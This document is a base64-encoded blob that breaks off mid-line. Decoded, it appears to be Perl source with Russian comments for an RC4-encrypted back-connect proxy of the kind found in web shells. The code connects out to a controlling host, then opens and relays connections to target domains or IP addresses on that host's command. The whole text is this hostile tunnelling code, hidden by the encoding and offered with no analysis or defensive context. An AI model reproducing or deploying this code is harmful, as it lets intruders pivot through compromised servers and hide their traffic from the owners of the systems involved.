IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
